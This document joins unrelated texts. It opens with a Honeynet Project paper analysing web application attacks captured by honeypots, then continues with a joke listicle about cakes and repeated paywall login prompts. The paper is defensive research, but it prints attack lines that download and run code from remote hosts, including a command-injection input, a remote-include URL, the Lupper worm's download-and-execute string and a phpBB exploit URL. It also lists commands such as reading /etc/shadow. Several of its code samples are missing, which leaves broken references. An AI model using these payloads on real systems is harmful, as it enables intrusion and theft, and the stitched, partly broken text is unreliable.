text:
Using Honeypots to learn about HTTP-based attacks
Primary Authors
Jamie Riden, New Zealand Honeynet Project
Ryan McGeehan, Chicago Honeynet Project
Brian Engert, Chicago Honeynet Project
Michael Mueter, German Honeynet Project
With the constant growth of the Internet, more and more web applications are being deployed. Web applications offer services such as bulletin boards, mail services such as SquirrelMail, online shops, or database administration tools like PhpMyAdmin. They significantly increase the exposed surface area by which a system can be exploited. By their nature, web applications are often widely accessible to the Internet as a whole meaning a very large number of potential attackers. All these factors have caused web applications to become a very attractive target for attackers and the emergence of new attacks. This KYE paper focuses on application threats against common web applications. After reviewing the fundamentals of a typical attack, we will go on to describe the trends we have observed and to describe the research methods that we currently use to observe and monitor these threats. In Appendix A, we give actual examples of a bot (a variant of PERL/Shellbot), the Lupper worm and an attack against a web Content Management System (CMS) as examples that show how web application threats actually act and propagate.
Holz, Marechal, and Raynal observe, "From an attacker's viewpoint, a Web application is an interesting target for several reasons. First, the quality of the source code as related to security is often rather poor, as numerous bug reports show... Another factor is the applications' complex setup" [Holz06]. Many different vulnerabilities have been discovered in web applications, leading SANS to include web applications as the number one cross-platform attack target in their 2006 survey: "Applications such as Content Management Systems (CMS), Wikis, Portals, Bulletin Boards, and discussion forums are being used by small and large organizations. Every week hundreds of vulnerabilities are being reported in these web applications, and are being actively exploited. The number of attempted attacks every day for some of the large web hosting farms range from hundreds of thousands to even millions."
Below we give the exploits we have seen against our honeypots and where possible an estimate of the number of users for each piece of software. The estimates are obtained by checking the number of Google search results returned for a given page in a website, for example searching for '"powered by PHPBB" inurl:viewtopic.php' suggests there are around 1.5 million installations of PHPBB indexed by Google.
Because typical web applications are relatively immature code in terms of software life-cycle, a large number of vulnerabilities are regularly being discovered. This problem is exacerbated by the number of protocols in use by web applications - HTTP or HTTPS, XMLRPC and SOAP to name a few and the relatively unconstrained nature of the user interface. For example, a web form may be designed to accept certain parameters of particular sizes, but an attacker may exploit the application by posting arbitrary content to the form making use of failures in parsing and validation of the data to compromise the service. Some types of common PHP application vulnerabilities enable the attacker to include their own code in the targeted web application, a type of attack known as local or remote code inclusion.
Many of the languages that web applications that are written in -such as Perl and PHP - are relatively powerful and offer facilities to execute operating system commands and powerful database integration. They may also enable the program to interact with third-party applications such as email agents. Over recent years, much research has been performed on vulnerabilities in networking protocols and much effort has gone into design of firewalls and other mitigation mechanisms. In contrast, web applications are by nature open to a global audience and so may be extremely easy to find with the aid of search engines. Moreover, web applications have not had the same scrutiny that older applications and protocols have received. Attacks may also be written in a combination of a scripting language and shell commands, which are easier to develop than the machine language code needed to exploit most buffer-overflow problems.
It is plausible that web servers are generally of high value to attackers. Many automated attacks that we have observed have been designed with Linux in mind, though some of the Perl code they include also runs on other varieties of UNIX. We expect that a server installation will typically have a faster connection to the Internet than a home user's installation do; therefore it is plausible that by exploiting Linux web servers an attacker will gain control of a relatively high-value machine compared with attacks targeting a home user's computer. Web applications will usually have to interact with databases, such as lists of customers and their email addresses, or financial information. Another reason attackers may choose to target web applications is as part of a strategy for gaining access to these databases. In summary, because web applications are globally visible, vulnerable hosts are very easy to find via search engines and exploits are relatively easy to develop, they present a large and attractive surface area for attackers. They may also provide a stepping stone into more sensitive parts of the victim's network.
Web applications commonly face a unique set of vulnerabilities due to their access by browsers, their integration with databases, and the high exposure of related web servers. The modern web server setup commonly presents multiple applications running on one host and available via a single port, creating a large surface area for attack.
Code injection is one such attack, which exploits a web application's interface to the underlying operating system and results in the execution of arbitrary code. A simple example of a PHP code injection attack follows:
Directing a web browser to this application at the URL "application.php?name=Magoo" would result in the display of a webpage containing the word "Magoo". However, using the characters "Magoo; wget 22.214.171.124/toolkit.c" would execute two statements within the exec() function. The second statement is a malicious attempt to download a file to the victim host. A vulnerability similar to this was present in some versions of the Advanced Web Statistics (AWStats) script, a popular application used for summarizing information about visitors to a web site. This vulnerability has been widely abused by several worms, including Lupper. Note that AWStats is written in Perl so the problems we describe are by no means unique to PHP.
To quote from the iDEFENSE advisory :
"The problem specifically exists when the application is running as a CGI script on a web server. The "configdir" parameter contains unfiltered user-supplied data that is utilized in a call to the Perl routine open() as can be seen here on line 1082 of awstats.pl:
In the case of the following attempted exploit:
we end up with:
which leads to the execution of the attacker's commands, because of the way perl's 'open()' function works. It seems as if the 'echo b_exp' at the start and a corresponding 'echo e_exp' at the end is intended to simplify parsing of the resulting web page, as in the this published exploit.
The PHPBB vulnerability that was exploited by the Santy worm was a problem of this type. PHPBB is a bulletin board written in PHP which allows users to post and reply to messages about various topics. A Google search for PHPBB reveals around 1.5 million sites at the time of writing. The Santy worm initially attempted to exploit the viewtopic.php vulnerability with a small test payload, simply printing out a particular piece of text. If the resulting web page contained the supplied text, the worm would launch its propagation code. (Eventually Google began to block Santy's queries.) The following is an example of an attack observed against PHPNuke which attempts to run the 'id' command. It is a maliciously crafted HTTP GET request:
The 'id' command identifies the current user and seems to be often used to test command injection issues, as the results of a successful test are easily identifiable. The vulnerability itself appears to be the phpBB Remote Command Execution (Viewtopic.php Highlight) issue which we discuss later. PHPNuke has included PHPBB for its forums "starting from somewhere around v. 6.5"
A remote code-inclusion attack works similarly; for example the following PHP code:
include "$librarydir/utils.php";
will include a PHP file into the currently executing script. Under certain circumstances, such as the configuration item register_globals being enabled, an attacker may be able to change the value of the variable $librarydir. (Register_globals means that PHP will automatically initialize variables from HTTP GET parameters without the programmer's intervention.) Some configurations of PHP allow the inclusion of code specified by a URL rather than a local file name. The attacker exploiting this vulnerability may attempt to set $librarydir to a value such as
"http://184.108.40.206/evilscript.php". If the attack is successful the attacker gains control of the web application.
Remote code-inclusion attacks have occurred in a wide variety of PHP applications, notably the Mambo CMS. Typically the attacker includes a script that attempts to execute a command such as one fetching further malware. These utility scripts are often quite full-featured and some have integration with databases and allow the invocation of shell commands, sending of email and viewing of files on
the web server. See Appendices A and B for more details related to this type of attack. The vulnerability classes - remote code-inclusion and command injection - should be considered serious as they have resulted in a number of high profile worms attacking the following software:
PHPBB, reported December 21, 2004, attacked by the Santy worm.
AWStats, PHPXMLRPC, WebHints reported November 7, 2005, attacked by the Lupper worm.
Mambo, reported December 6 2005, attacked by the Elxbot worm.
Mambo, PHPXMLRPC, reported February 20, 2006 and attacked by the Mare worm.
An example attack we observed against Mambo CMS is as follows. Again, it is simply a malicious HTTP GET request, exploiting the vulnerability described in Secunia Advisory #14337 :
This has the effect of executing the script of the attackers choosing, here 'http://192.168.57.112/~photo/cm' - the exact operation of the exploit against the vulnerability can be seen in 'Mambo Exploit' in Appendix A. In this case, the included file is a 'helper' script which attempts to execute the operating system command given by the 'cmd=' parameter. Here the commands given would cause the helper script to be written over the 'index.php' file and the details of the operating system and IP address to be sent to two email addresses. The attackers could then revisit the vulnerable systems at a later date.
An example of a particular helper script, the c99 shell is given in Appendix B, but such scripts typically allow the attacker to execute operating system commands and browse the file system on the web server. Some more advanced ones offer facilities for brute-forcing FTP passwords, updating themselves, connecting to databases, and initiating a connect-back shell session.
Another type of web application attack is SQL injection. Suppose a naively implemented login page searches for records in a database which match the given username and password, like this:
This SQL query always returns a non-empty result, bypassing the login procedure and enabling the attacker to access the application. By successfully exploiting an SQL injection vulnerability the attacker can often gain superuser/admin access to the application or even the operating system.
The following is an attack we observed against PHPNuke:
which exploits the vulnerability detailed in Secunia advisory #14866 - the 'querylang' parameter is allows an SQL injection attack against the application. This is the original Waraxe advisory about the vulnerability. The following source code is the problem:
and as result we can see md5 hashes of all the admin passwords in place, where normally top 10 votes can be seen :) The exploit will reveal the MD5 hashes of all the administrative users of PHPNuke. The value of seeing the MD5 hashes is being able to recover some passwords from them, as we explain below in the section "Top 10 Operating System commands issued".
Another form of attack against web applications is known as Cross-Site Scripting. (This is abbreviated to XSS as the acronym CSS was already taken by Cascading Style Sheets.) In a cross-site scripting attack, data is entered into an application which is later written back to another user. If the application has not taken care to validate the data correctly, it may simply echo the input back allowing the insertion of Javascript code into the HTML page.
A naive implementation of a bulletin board might store a user's comment in a database and write it straight back to other users who are viewing the thread. By posting something like
Human attackers and automated worms were found to employ several strategies to find vulnerable systems. This section describes these strategies and identifies trends in their use.
PHPShell is a PHP script which allows shell commands to be executed on a web server. Typically the PHPShell script is protected by a password so only the server administrator can access it. We deployed honeypots that advertise an unrestricted PHPShell application, which attackers often tried to exploit.
The majority of attacks on PHPShell honeypots that we observed were preceded by a discovery request which contained a referrer from a search engine. The search-engine queries are revealed to us by the default browser behavior, which sent the query to us as the Referer header. This technique is good for the attacker, because most of the time-consuming work of finding potentially vulnerable systems has been done by the search engine, eliminating the need for the attacker search across many different hosts themselves. Some copies of PERL/Shellbot were captured which had routines to search Google for certain scripts while other searches seem to have been performed manually. See Appendix C for example code from a captured copy of such a bot.
One disadvantage to attackers of using search engines is the new single point of failure they create. For instance, the Santy worm used Google to search for new targets, however Google started blocking Santy's queries which stopped the further spread of the worm. It should be noted that some bots have been observed which use Yahoo search and not just Google.
Some probes appeared to use IP-based scanning, such as several captures of the Lupper worm. When studied inside a virtual machine environment, the worm scanned a sequential range of IP addresses to see which, if any, were running a web server. If a web server was present, the worm attacked using several exploits that attempted to execute code on the server. IP-based scanning entails a relatively high cost per system infected in terms of search time and network resources, assuming a low density of targets. Worms which use search engines to locate their targets have a much lower cost per target because the search engine does the work of finding potentially vulnerable hosts.
Note that IP scanning will not work for name-based virtual hosts, a technique for hosting many websites on a single IP address that was introduced in HTTP 1.1. Using this method, the request for a web page has to contain the appropriate hostname, such as 'www.example.com' that is being asked for. Since there is no way for an IP-based scanning program to determine this name, there is no way for it to successfully exploit a site using virtual hosting. Name-based virtual hosting is popular with shared web hosting providers as they don't have to provied each website with a unique IP address.
While observing hits on our honeynet, we noticed a high amount of traffic from spiders - a spider is a program which fetches a series of web pages for analysis, for example Google's and Yahoo's web crawlers. Typically a spider will announce itself as such in the 'user-agent' field of an HTTP reques such as 'Googlebot 1.0'. Other spider programs we observed announce themselves as a typical web browser while the tiny interval between successive requests shows they are running without user interaction. We have determined that the spamming attempts we received were caused by the presence of web forms on our honeypot. Search engines cannot be used to search for a form in a web site, therefore a spider or other parsing tool must have discovered a form on our honeypot. When discovered, spam was immediately inserted into the form, regardless of the more valuable shell access the honeypot advertised. This points to an automated, spider-based attacker as opposed to a human.
Once the attacker found the honeypot, via any of the methods mentioned above, they typically tried to utilize it for a variety of different purposes - ranging from defacement to mounting phishing attacks. The following sub-sections explain specific purposes we observed.
The top 10 commands issued by attackers on the PHPShell honeypot are as follows:
1. 3251 times, 'ls' - Displays a list of files in the current directory
2. 1051 times, 'pwd' - Reports the current directory
3. 777 times, 'id' - Reports the current user
4. 619 times, 'uname -a' - Reports on details of the operating system and hostname
5. 600 times, 'w' - Reports on current users and the load the system is under
6. 556 times, 'ls -la' - Displays full information on all files in the current directory, including hidden ones
7. 543 times, 'ls -al' - Displays full information on all files in the current directory, including hidden ones
8. 386 times, 'dir' - Lists files in the current directory under Windows.
9. 363 times, 'cat /etc/shadow' - Lists the shadow password file, containing hashes of user's passwords
10. 353 times, 'cat config.php' - Displays the configuration file for PHPShell which contains usernames and passwords amongst other things.
In regards to number 9, 'cat /etc/shadow', a dictionary attack can be mounted against a hashed password file. Tools such as John the Ripper can try the hashing operation on many common passwords such as dictionary words. If the hash of the guessed word comes out the same as the hash in the password file, the attacker now knows the password for that user. Alternative methods such as Rainbow Tables can speed up the process of recovering the passwords. An exhaustive search through all possible passwords will usually take too long to be viable against modern UNIX password files.
We observed 15 attempts to inject mail into the web forms of one of our honeypots. The following data is an example:
We have also observed blog comment spam such as :
We observed over 500 attempts to deface our PHPShell web site, most of which attempted to use the Chinese characters for "summon" to overwrite the index file. The following defacement attack can be found in many on-line tutorials:
Similarly, one attacker tried to deface the main page by issuing this operating system command :
Multiple attempts were made to download files which seemed to be done only for hosting purposes. In one very specific attack, the attacker used over 50 commands to investigate the server and then attempted to download several files. The following shows one attempt to download a music file, and two attempts to download legitimate Windows applications (not related to cracking activities):
Other files that attackers attempted to download seemed to be intended to help in the exploitation of the server. A common action was to fetch a PHP shell application such as c99 shell (see Appendix B) to allow the attacker to issue shell commands, view the filesystem and perhaps to connect to local databases. Some attackers tried to download the eggdrop IRC bot or the psyBNC IRC proxy.
Among other tools, attackers commonly downloaded and attempted to use a variant of pscan. Pscan is an efficient port scanner that can discover hosts which are listening on a particular port. Typically, the attacker would run the tool, obtain a list of hosts with the port open and then proceed to run an exploit tool against the list of hosts.
This archive contained SSH scanning tools, including pscan, a password list, and a list of servers and their root passwords or other user accounts that had been guessed already.
On one honeypot we observed 12 attempts to install IRC bots to join various botnets after system access was gained. In one example we analysed, a bot connected to a channel on a public IRC server to which 387 other clients had already connected. Typically, the vast majority of the bots supported commands for denial-of-service attacks. Since most Linux boxes tend to be servers rather than workstations, it is plausible that even a relatively small botnet of around 400 Linux machines would have a great deal of bandwidth available to mount a DoS attack, while being small enough to evade detection until used. For examples of two attacks that attempted to join botnets, see 'The Lupper Worm' and 'Mambo Exploit' in Appendix A. The paper Know Your Enemy: Tracking Botnets gives more detail on how botnets operate.
One attacker tried to download an archive containing HTML, graphics and scripts to create a Paypal phishing site. The site was designed to look like the real Paypal web site, but would have recorded usernames and passwords in a file residing on the web server. The attacker could then have retrieved this file later. For more information on phishing techniques, see Know Your Enemy: Phishing. Another attacker downloaded a similar phishing page for Orkut, Google's social networking site. In this case, the fake site would have emailed the username and password to a Gmail account controlled by the attacker.
The following graph shows attacks against a PHP honeypot which are trying to exploit several distinct flaws. The vulnerabilities attacked are Mambo remote code-inclusion as discussed above, AWStats configdir command injection, PHPBB admin_styles remote code-inclusion (note that this is different to the PHPBB flaw that Santy exploited), WebCalendar includedir remote code-inclusion and Coppermine Photo Gallery remote code-inclusion, in this case the problem with theme.php and THEME_DIR. We can see that the Mambo exploit is consistently popular but the usage of the AWStats vulnerability tails off towards the end of this period. Other exploits are only tried occasionally, such as the PHPBB flaw. Some sources attempt to exploit a single issue, while others try two or more. The total numbers of attacks observed during this period were as follows: Mambo 255, AWS 251, PHPBB 54, WebCalendar 9, Coppermine 10. Appendix D has individual graphs for each vulnerability.
The following graph shows the mean number of attacks per unique source:
By becoming a tool for an attacker to inflict harm on other systems, a site may be opening itself up to liability issues if they have not been paying sufficient attention to security. For example, if a machine is joined to a botnet it may be a participant in a denial-of-service attack against an external site, or may be used to recruit other machines into the botnet. Phishing sites are used for stealing identity information for various purposes, including transferring money away from victim's bank accounts. Files that are uploaded to compromised hosts may be subject to copyright issues or other more serious violations of obscenity laws in the country the server resides in. If the server is used to send Unsolicited Bulk Email (UBE aka 'spam'), the server may be placed on a blocking list and legitimate users of the server may find their email blocked by many Internet sites.
It is also possible that control of a website may be used to compromise computers that are browsing that site. For example, such an incident is described by Netcraft:
"Hackers have hijacked a large number of sites at web hosting firm HostGator and are seeking to plant trojans on computers of unwitting visitors to customer sites. HostGator customers report that attackers are redirecting their sites to outside web pages that use the unpatched VML exploit in Internet Explorer to install trojans on computers of users. Site owners said iframe code inserted into their web pages was redirecting users to the malware-laden pages."
In another incident, a banner advert was used to deliver exploit code to client machines : "During a 12-hour window over the weekend, hackers broke into a load balancing server that handles ad deliveries for Germany's Falk eSolutions and successfully loaded exploit code on banner advertising served on hundreds of Web sites."
Various techniques were used against the honeynet to frustrate our ability to directly identify attackers. These tactics were only found occasionally in honeynet logs. Regardless of these techniques, the attackers actions were still fully monitored even if the source of the attacks was obscured.
About 6% of attacks were detected as using a proxy server. Proxy servers act as an intermediary between a web browser and a web server. Some organisations such as universities may require their users to make use of a proxy server to monitor and audit web traffic or to cache commonly fetched documents. Other proxy servers, termed 'open proxies' allow anyone to connect to them. This allows attackers to obfuscate their source address by having another server make the HTTP requests on their behalf. While this approach can successfully cover an attackers identity, it does not increase the stealthiness of their attack. Some proxy servers are designed to relay the clients address along with the HTTP request, while some 'anonymous' proxy servers do not. The honeynet saw attacks from both types of proxies.
Similar to the proxy server, the Google Translate service can act as a proxy as it translates websites for its users. The Google Translate service will make HTTP connections to websites and relay them to the users of Google Translate. This is an older technique to obfuscate IP addresses similar to an anonymous proxy, but the behavior of the service has since changed. The Google Translate service now forwards the IP address of its users. Attackers still using the Google Translate service against the honeynet are exposing their source IP address. For example, to translate the Honeynet webpage into French, you could use the following URL: http://www.google.com/translate?u=http%3A%2F%2Fwww.honeynet.org&langpair=en%7Cfr&hl=en&ie=UTF8. Google would then fetch the web page on behalf of the attacker, however this technique doesn't anonymise the attacker any more.
Onion routing is a routing technology used to ensure the privacy of its users, where each node only has partial information about the route of the packets. A service sponsored by the Electronic Frontier Foundation called Tor is an implementation of this concept. Tor is a design of randomly selected, encrypted tunnels that acts as a proxy for client applications, such as web browsers. The honeynet was able to identify only 40 (.01%) attacks making use of the Tor service.
Of the seven unique attacks using Tor, there were only two worth noting. The others simply reached the honeypot and took no further action. The first attack traversed four honeypots, and attempted nothing more malicious than exploring the filesystems and attempting to create a hidden directory. The attacker discovered the honeypots using Google, using the query "inurl:phpshell.php filetype:php". The second attack only touched one honeypot on the honeynet, and attempted to retrieve a 'config.php' file. Applications written in PHP commonly include a 'config.php' file, which usually contains passwords or sensitive information regarding the application. In the case of PHPShell, the config.php file includes usernames and passwords as well
as some other configuration information.
The downside for attackers using a scripting language for a web-based backdoor is that the source code is inherently public. A specific backdoor found by the honeynet called 'r57 shell' employed multiple PHP functions to decode itself before running.
The PHP functions pack(), and gzinflate() decode the PHP code that needs to run, which is then sent into the eval() function. This is a very trivial way of obscuring source code, but it is all one can ask for when using an interpreted language like PHP.
There are currently two honeypot technologies to respond to attacks against web applications. These include the "Google Hack" honeypot and PHPHop (PHP Honeypot). For the study of web application attacks, these offer advantages over traditional honeypots due to the fact that their existence is advertised. Typically the honeypots can be found via specific searches in the Google or Yahoo search engines and this leads to a lot of sessions between potential attackers and the honeypots. These are considered low interaction honeypots in that they emulate web applications and/or their vulnerabilities.
We ran five GHH honeypots in one honeynet over the course of about twelve months during 2005 and 2006. Some of these honeypots emulated a web application called PHPShell and some of them emulated the phpBB2 message board application. The PHPShell honeypot emulated PHPShell, by offering the appearance of access to the underlying operating system shell. All commands that the attacker executes are logged, together with details of the HTTP session in progress. If the attacker attempts to download any binaries we obtain a copy of these as well. The phpBB2 honeypots were emulating multiple remote code execution vulnerabilities, including the one exploited by the Santy worm as described above.
Our GHH honeypots were advertised using a technique we call "transparent linking". This involves placing hyperlinks pointing to our honeypot on other web pages so that our honeypots are indexed by search engines. The links are designed so that humans will not see them, so the only visitors to the honeypot should be those who have specifically searched for it using a search engine. For example, we might insert a link such as '.' into a web page which is already being indexed by a search engine. When the engine crawls the site again, it will follow the link and index the honeypot as well. By having the honeypot indexed in a search engine we increase the amount of attacks that traverse our honeynet rather than relying on attackers finding the honeypot by manual scanning. Usually when a web browser visits the honeypot we can see the search criteria revealed by the 'referer' field of the HTTP request. All the traffic to the GHH honeypots was logged and inspected for malicious activity.
Below is a graph of the number of HTTP requests received by the Google Hack Honeypot honeynet during 2006, and includes requests from search engines which are indexing the pages on the honeypot, as well as malicious activity. There is a consistently high number of visits from search engines such as Yahoo, Google and MSN Search and a fairly steady stream of other visitors trying to execute operating system commands on the honeypots.
Another two PHPHoP honeypots have been running for about 12 months and have been emulating several vulnerable web applications including Advanced Web Statistics (awstats), the Mambo Content Management System and certain applications making use of the PHPXMLRPC protocol. The emulations are relatively basic and are not convincing to a human attacker but do collect a variety of probes and automated exploit attempts, including capturing the files and payloads used in these attempts. When the attacker makes a malicious request to the honeypot, for example, attempting to exploit a remote code-inclusion problem in Zeroboard, a web bulletin board :
Web servers can be protected from threats in many ways. Firstly, we recommend that the administrator keeps an inventory of what applications are on the web server and maintains patch levels for all of them. A host-based Intrusion Detection System, such as mod_security for the Apache web server may be used to block certain common attack vectors, such as "wget" and "curl" appearing in GET and POST requests. This will not provide complete protection from remote code inclusion attacks in particular, but will block many common attacks. If the attacker can include arbitrary code in the running application, they will be able to evade most keyword filters. Alternatively, an application proxy can be deployed in front of the web server to filter out these types of malicious requests. A Host Intrusion Detection System (HIDS) program such as Tripwire may be used to monitor the integrity of critical system files.
Correct configuration of web servers such as Apache and scripting languages such as PHP is also crucial. We mentioned register_globals earlier which allows an attacker to set variables which can cause problems if the developer has not specifically initialized them. The allow_url_fopen configuration directive should be disabled if possible as this prevents remote code-inclusion attacks. The Open Web Application Security Project provides further details on securing web servers and applications.
Programmers can create more secure applications by rigorously validating all input they receive. Where 'include' statements exist in PHP there should be no way for an attacker to control the name of the file being included. If input is going to be echoed back to the user, the application must take care that Cross-site scripting (XSS) attacks cannot occur. The typical example is to disallow or escape '<' and '>' characters to prevent the attacker from entering javascript code. Ideally SQL operations should be in the form of prepared statements so that data is treated purely as data and does not have the chance to become code, as it does in an SQL injection exploit. A full treatment of this subject is beyond the scope of this article but a good reference for PHP developers is "Essential PHP Security" by Chris Shiflett and published by O'Reilly press. There is also a good set of recommendations for programmers and system administrators as part of the SANS top 20 vulnerabilities, in section C1.3. These include making use of the Hardened-PHP Project's Suhosin tool to control the execution of PHP scripts, migrating to the latest version of PHP and making use of the PHP Data Objects extension when performing SQL queries.
We also recommend that a Network Intrusion Detection System is used which should alert the administrator to events such as connections from web servers to an IRC channel outside the organisation, the port-scanning activity that will be associated with some of the worms and scanning tools, and possibly the increase in traffic that may occur if the server is sending spam email or hosting a phishing web site. Lastly, the administrators should be responsive to the postmaster and abuse email addresses at their domain, which often provide rapid warning of incidents in progress.
Web applications present a very high risk, and an attractive target to attackers for the following reasons: Firstly, the quality of the code is often rather poor and many vulnerabilities of commonly used code are published. Second, attacks can often be performed using PHP and shell scripts, which are much easier to develop and use than buffer-overflow exploits. Thirdly, tools such as search engines provide a very easy way for attackers to locate vulnerable web applications. We believe that web servers present relatively high-value targets for attackers since they are more likely to have higher bandwidth connections than the average desktop computer. They will also typically need to access the organisation's databases and so may provide a stepping stone for an attacker who wishes to recover such data.
Although significant effort is being made to improve code quality in many web applications, the volume of existing code, and the amount of new code being written are causing the number of vulnerabilities being reported to remain quite high. (For example, the number one cross-platform vulnerability listed in the SANS Top 20 Survey is web applications.) Since the other factors - public availability, easy exploitation and web applications being easy to locate via search engines - are not likely to change significantly, we can expect to see these trends carrying on into the future.
In order to acquire a greater amount of information the deployment process will be stream-lined. Therefore we plan to develop a live CD or an easy-to-install VMware image of our honeypots. Further, the level of detail of the emulation performed by our honeypots will be increased to improve the realism of the simulation and more accurately mimic a genuinely vulnerable web application. These improvements will enable us to observe a wider range of attack patterns and threats that are launched against today's web applications. Finally it would be very interesting to monitor bogus web spiders. This could be done by setting up a new honeypot that denotes its web pages as not-to-be indexed and logs any access to them.
[Holz06] T. Holz, S. Marechal and F. Raynal, New Threats and Attacks on the World Wide Web, IEEE Security and Privacy 2006 issue 2 pp 72-76
Many thanks to Markus Koetter, Tillmann Werner and Lance Spitzner for extremely helpful feedback and suggestions for improvements. Our gratitude also goes to Laurent Oudot who developed the first incarnation of PHPHoP and encouraged Jamie to attend the 2006 Honeynet Project meeting. Thorsten Holz provided answers to some technical questions on botnets and Jianwei Zhuge assisted us with Chinese translations. The Geshi website was used to syntax-highlight some of the code. [update: geshi and geshifilter are now being used to do syntax highlighting in this drupal version - jamie]
This section provides some examples from the wild.
The following is an example Apache log entry of an attack by the Lupper worm, against the AWStats command-injection vulnerability:
(Please note that the IP addresses and domains have been obfuscated throughout this paper.)
Certain versions of the awstats program would execute the code "echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;" in response to this request. This would cause the file at '192.168.1.216/nikons' to be downloaded and stored in the /tmp directory. Then it would be made executable using the 'chmod +x nikons' and finally it would be executed.
This file 'nikons' was a shell script which attempted to download two programs; an IRC bot, identified as Tsunami.A and a variant of the Lupper worm. The Lupper variant tried to spread via scanning for hosts listening on port 80 and attempting to exploit the AWStats and PHPXMLRPC vulnerabilities. (Another Lupper variant is described as trying to exploit a file called hints.pl - this behavior not present in our captured version.)
The worm probed for the following scripts: /xmlrpc/xmlrpc.php, /wordpress/xmlrpc.php, /phpgroupware/xmlrpc.php, /drupal/xmlrpc.php,
/blogs/xmlsrv/xmlrpc.php, /blog/xmlsrv/xmlrpc.php, /blog/xmlrpc.php
If present, any of these scripts would have been exploited via the following PHPXMLRPC exploit. The following POST payload downloads the tool "gicuji", a shell script to download and execute the Lupper and Tsunami binaries.
This section exhibits example logs created by a worm exploiting a remote code execution vulnerability within phpBB2. The exploit was sent in the value of the "highlight" parameter of the application's viewtopic.php script. Accessing the following URL downloaded the file root.txt from the domain example.com /phpBB2/viewtopic.php?p=1277&highlight=%2527.$poster=include($_GET[m]).%2527&m=http://example.com/root.txt?&
The worm checks if the PHPBB installation is vulnerable by fetching the following URL, by attempting to print "jSVowMsd" in the output. If it finds "jSVowMsd" in the requested page, that is, if the vulnerability is present in the application, the targeted PHP server will then run the next two commands.
This section describes an instance of the Mambo exploit observed on out honeynet. The hosts involved in the attack are:
The following activity was logged by Apache during the attack:
The GET request is an attempt to exploit a Mambo remote file-include vulnerability to execute http://66.98.a.a/cmd.txt on the victim host. Despite the extension .txt, the URL specifies a PHP script rather than a text file. The vulnerable code in Mambo is as follows:
This simply includes the file the attacker wants and ignores the filename after the '?' character. The included code then attempts to execute the operating system commands specified by the cmd= parameter in the original HTTP request. (Successful exploitation of this vulnerability requires the allow_url_fopen configuration directive to be on.) The Philippine Honeynet Project have analysed an incident in which this script 'cmd.txt' appears: "Defacing Tool 2.0 by r3v3ng4ns" is a suite of php based scripts that allows the attacker to send commands to the server primarily with the intent to
deface web sites.". In our experience the script is often used to download further malware using wget/curl, or to test for the presence of vulnerable scripts by attempting commands such as 'id' or 'uname'. It seems that the script can also be uploaded to PHP/Apache servers to provide an easily accessible set of utilities for executing commands, searching for files. This will only be an issue if the web server allows the upload of PHP scripts to the web root. The command that was parsed out is as follows:
Five distinct hosts have participated in the attack up to the point that this command is executed
This script is dc.txt, a simple connect-back shell written in Perl:
The behavior of this script was studied on a virtual machine. The script downloaded and executed another Perl program, the IRC bot variant PERL/Shellbot. This joined a particular IRC channel and waited for commands.
Figure 6. A screenshot of the c99 PHP shell
The c99 PHP utility provides functionality for listing files, brute-forcing FTP passwords, updating itself, executing shell commands and PHP code. It also provides for connecting to MySQL databases, and initiating a connect-back shell session. In many ways it can be considered the web equivalent of the rootkits that successful attackers often download. In other ways it is the malware equivalent of PHPShell itself. c99 is often one of the utility programs that is either downloaded if a web server is vulnerable due to being misconfigured, or can be used in a remote file include attack to try and execute shell commands on a vulnerable server. Figure 6 provides a screenshot of the c99 PHP shell running on a web server.
There are similar programs such the r57 shell which have equivalent functionality allowing the attacker to view files and directories, execute shell commands and some also have database integration. This allows an attacker to connect to MySQL, postgresql or other databases if they can guess a username and password which has access. Other 'helper' programs are very simple and only provide functionality to execute shell commands.
The following code is part of a shellbot which was captured by a honeypot. It is credited initially to atrix with spreading code by sirhot. When a command is issued to this bot via an IRC channel, it will reply 'Scanning for unpatched mambo ...'. It then performs a Google search, restricted to a random top-level domain, for the phrase "option=com_content" either in the body of the page or in the URL itself. Each host that is successfully exploited is reported via the IRC channel.
Jamie Riden studied maths and computer science at Oxford, worked in software development for a few years and then took a masters degree in artificial intelligence at Edinburgh. Since then he has worked in IT security for Massey University, New Zealand where he was involved in incident response, forensics and intrusion detection. During this time he developed an interest in using honeypots to discover more about attackers and methods used to compromise machines, particularly Linux servers. He obtained a CISSP in September 2006 and is a member of the New Zealand Honeynet Project. [update: Jamie is now living in the UK and is a member of the United Kingdom Honeynet Project.]
Ryan McGeehan is a member of the Chicago Honeynet Project, and the creator of the Google Hack Honeypot software. His research is focused mainly around web based and client side honeynetting with DePaul University. He is currently an information security engineer at Facebook, Inc.
Brian Engert is also a member of the Chicago Honeynet Project, and the lead developer of the Google Hack Honeypot software. He is studying Computer Science at DePaul University.
Michael Mueter is a graduate student in computer science at University of Technology, Aachen, Germany and part of the German Honeynet Project. While gaining international experience at the University of Kent, United Kingdom, and Clarkson University, NY, USA he developed an in-depth background in theoretical and practical IT security, especially focusing on honeynet technology. He has been involved in several security-related software projects in recent years and is currently developing a new high-interaction approach for web-based honeypots within the scope of his masters thesis.
Raul Siles
Bill McCarty
Hugo Robledo
George Chamales


text:
8 Cakes For Completely Inappropriate Occasions
I'm a firm believer in celebrating just about everything with cake, and from the submissions you guys send in I'm clearly not the only one. However, there's celebrating, say, a new vasectomy or Daddy's parole, and then there's the stuff that some people might consider, well, inappropriate cake material.
Not me, of course. No sir! Heck, I say, you wanna get pregnant? Then SAY IT WITH CAKE:
Or you're happy you DIDN'T get pregnant? Say THAT with cake.
Let's say your friend Cory suffered a nasty seizure recently. That warrants a cookie cake, right?
(Remember, kids: It's "i before e except after c." Except in the word "seizure.")
And remember that time your friend lost a finger to the lawn mower? Just in case he doesn't, let's remind him! With cake!
I like how this is less a "get well" cake, and more an "IN YOUR FACE! With love from the Lawn Mower" cake.
Driving while intoxicated is a serious crime, so be sure to tell your friends you won't stand for such behavior. Also with cake.
I like to imagine the candles are mini breathalyzers.
(How cool would that invention be? Right? I'll make millions. MILLIONS, I say!)
The world is too success-oriented. We should be sending a better message to younger generations. A message that says, "Hey, no matter what, at least you'll get a cake out of this."
Dangit. Why don't I know any lady farmers to give this to? WHY?!
(PS - You misspelled "Awesome." But I'll let it slide, because melons.)
And finally, my favorite:
Hang on... we get cake for that?
Thanks to Anony M., Katelyn, KG, Paul S., Paige S., April B., & Stephanie K. for the inspiration.

subset: commoncrawl


text:
Keep reading free:
Already have an account? Log in here »
Keep reading free:
Already have an account? Log in here »
Subscribers Log in below to continue reading,
not a subscriber? Create an account to start a 30 day free trial.
Keep reading free:
Already have an account? Log in here »
Keep reading free:
